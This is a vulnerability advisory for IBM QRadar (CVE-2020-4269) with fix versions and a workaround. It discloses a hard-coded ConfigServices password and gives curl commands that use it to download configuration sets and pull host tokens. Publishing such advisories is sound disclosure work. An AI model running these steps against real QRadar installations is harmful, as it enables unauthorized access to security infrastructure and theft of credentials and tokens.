------------------------------------------------------------------------
Unauthorized access to QRadar configuration sets via default password
------------------------------------------------------------------------
Yorick Koster, September 2019

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
QRadar is deployed with a default password for the ConfigServices
account. Using this default password it is possible to download
configuration sets containing sensitive information, including
(encrypted) credentials and host tokens. With these host tokens it is
possible to access other parts of QRadar.

------------------------------------------------------------------------
See also
------------------------------------------------------------------------
CVE-2020-4269 [2]
6189711 [3] - IBM QRadar SIEM contains hard-coded credentials
(CVE-2020-4269)

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully verified on QRadar Community Edition [4]
version 7.3.1.6 (7.3.1 Build 20180723171558).

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
IBM has released the following versions of QRader in which this issue
has been resolved:

- QRadar / QRM / QVM / QNI 7.4.0 GA [5] (SFS)
- QRadar / QRM / QVM / QRIF / QNI 7.3.3 Patch 3 [6] (SFS)
- QRadar / QRM / QVM / QRIF / QNI 7.3.2 Patch 7 [7] (SFS)
- QRadar Incident Forensics 7.4.0 [8] (ISO)
- QRadar Incident Forensics 7.4.0 [9] (SFS)

As a workaround it is possible to remove or disable the configservices
account in the file /opt/qradar/conf/users.conf.

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
QRadar [10] is IBM's enterprise SIEM [11] solution. A free version of
QRadar is available that is known as QRadar Community Edition [4]. This
version is limited to 50 events per second and 5,000 network flows a
minute, supports apps, but is based on a smaller footprint for
non-enterprise use.

So-called configuration sets can be downloaded via the web interface.
These sets are normally only accessible for the ConfigServices user. It
was found that QRadar is deployed with a default password for the
ConfigServices account. Using this default password it is possible to
download configuration sets containing sensitive information, including
(encrypted) credentials and host tokens. With these host tokens it is
possible to access other parts of QRadar.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
The Apache configuration for the QRadar web interface contains a
configuration alias that maps to the
/store/configservices/configurationsets folder. This folder is protected
with the mod_authn_file [12] Apache Module. The only user that is
allowed through is the configservices user.

/etc/httpd/conf.d/configservices_httpd.conf:
Alias /configuration /store/configservices/configurationsets
<Directory /store/configservices/configurationsets>
  AuthType Basic
  AuthUserFile  /opt/qradar/conf/users.conf
  AuthName "Identification"
  Options Indexes Includes FollowSymLinks MultiViews ExecCGI
  AllowOverride All
  
  <Limit GET POST>
  require user configservices
  </Limit>
</Directory>

The password for this user is set in the file
/opt/qradar/conf/users.conf. The password is protected with the crypt
algorithm, the crypted password is the same for all QRadar
installations.

/opt/qradar/conf/users.conf:
admin:null:ALL:root@localhost:Admin:
configservices:/wEPae8TzCqmM:ALL::ConfigServices:

Cracking the crypted password quickly reveals that the corresponding
password is qradar:

$ python -c 'import crypt; print(crypt.crypt("qradar", "/w"))'
/wEPae8TzCqmM

With the found password it is now possible to download the configuration
set from the web server:

$ curl --insecure --user configservices:qradar
https://<ip>/configuration/globalset_list.xml

It should be noted that the default password of the configservices user
only works for the configuration alias as configured in Apache. Recent
versions of QRadar still use the ConfigServices user in other parts of
the web interface. These parts either use a random password (stored in
PostgreSQL) or a so-called host token (via the SEC header or cookie).
However, using the default password it is possible to retrieve the value
of this host token and thus gain access to other parts of QRadar.

curl --insecure --user configservices:qradar -o
/tmp/zipfile_GEN.full.zip
https://<ip>/configuration/zipfile_GEN.full.zip
unzip -p /tmp/zipfile_GEN.full.zip /host_tokens.masterlist | grep
'CONSOLE_HOSTCONTEXT='

------------------------------------------------------------------------
Limitations
------------------------------------------------------------------------
The users.conf configuration file is updated when changes are made to
the user and or permission configuration of QRadar. The new users.conf
is first written to staging and made effective when the changes to
staging have been deployed. When this happens the password digest of the
configservices user is overwritten with null effectively disabling the
account. Consequently, on larger setups it is likely that changes have
been made to the user/permission configuration and that the default
password will no longer work.

com.q1labs.core.shared.permissions.UserManager:
public class UserManager extends SingletonSupport implements
IMessageListener {
[...]
  
  public void updateConfigurationFile() {
    String configRoot = NVAReader.getProperty("CONFIGSERVICES_ROOT");
  
    try {
      File target = new File(configRoot + STAGED_CONFIG_FILENAME);
      StringBuffer sb = new StringBuffer();
      List users = this.getStagedUsers();
      Iterator var5 = users.iterator();
  
      while(var5.hasNext()) {
        User u = (User)var5.next();
        String networkNames = PermissionsManager.getNetworkNames(u);
        String userRoleName = PermissionsManager.getUserRoleName(u);
        String locale = u.getLocale() == null ? " " : u.getLocale();
        String tmzone = u.getTimezone() == null ? " " : u.getTimezone();
        sb.append(u.getUserName() + ":null:" + networkNames + ":" + u.getEmail() + ":" + userRoleName + ":" + locale + ":" + tmzone + ":\n");
      }
  
      FileIOUtils.safeWriteBuffer(target, sb);
    } catch (Exception var11) {
      this.log.error((Object)("Can't save deployed " + TABLENAME + " to configuration file"), (Throwable)var11);
    }
  
  }
------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://www.securify.nl/advisory/SFY20200401/unauthorized-access-to-qradar-configuration-sets-via-default-password.html
[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4269
[3] https://www.ibm.com/support/pages/node/6189711
[4] https://developer.ibm.com/qradar/ce/
[5] https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Security+QRadar+SIEM&release=7.4.0&platform=Linux&function=fixId&fixids=7.4.0-QRADAR-QRSIEM-20200304205308&includeRequisites=1&includeSupersedes=0&downloadMethod=http
[6] https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Security+QRadar+SIEM&release=7.3.0&platform=Linux&function=fixId&fixids=7.3.3-QRADAR-QRSIEM-20200409085709&includeRequisites=1&includeSupersedes=0&downloadMethod=http
[7] https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Security+QRadar+SIEM&release=7.3.0&platform=Linux&function=fixId&fixids=7.3.2-QRADAR-QRSIEM-20200406171249&includeRequisites=1&includeSupersedes=0&downloadMethod=http
[8] https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Security+QRadar+Incident+Forensics&release=7.4.0&platform=Linux&function=fixId&fixids=7.4.0-QRADAR-QIFFULL-2019.18.0.20200304205308&includeRequisites=1&includeSupersedes=0&downloadMethod=http
[9] https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Security+QRadar+Incident+Forensics&release=7.4.0&platform=Linux&function=fixId&fixids=7.4.0-QRADAR-QIFSFS-2019.18.0.20200304205308&includeRequisites=1&includeSupersedes=0&downloadMethod=http
[10] https://www.ibm.com/security/security-intelligence/qradar
[11] https://en.wikipedia.org/wiki/Security_information_and_event_management
[12] https://httpd.apache.org/docs/2.4/mod/mod_authn_file.html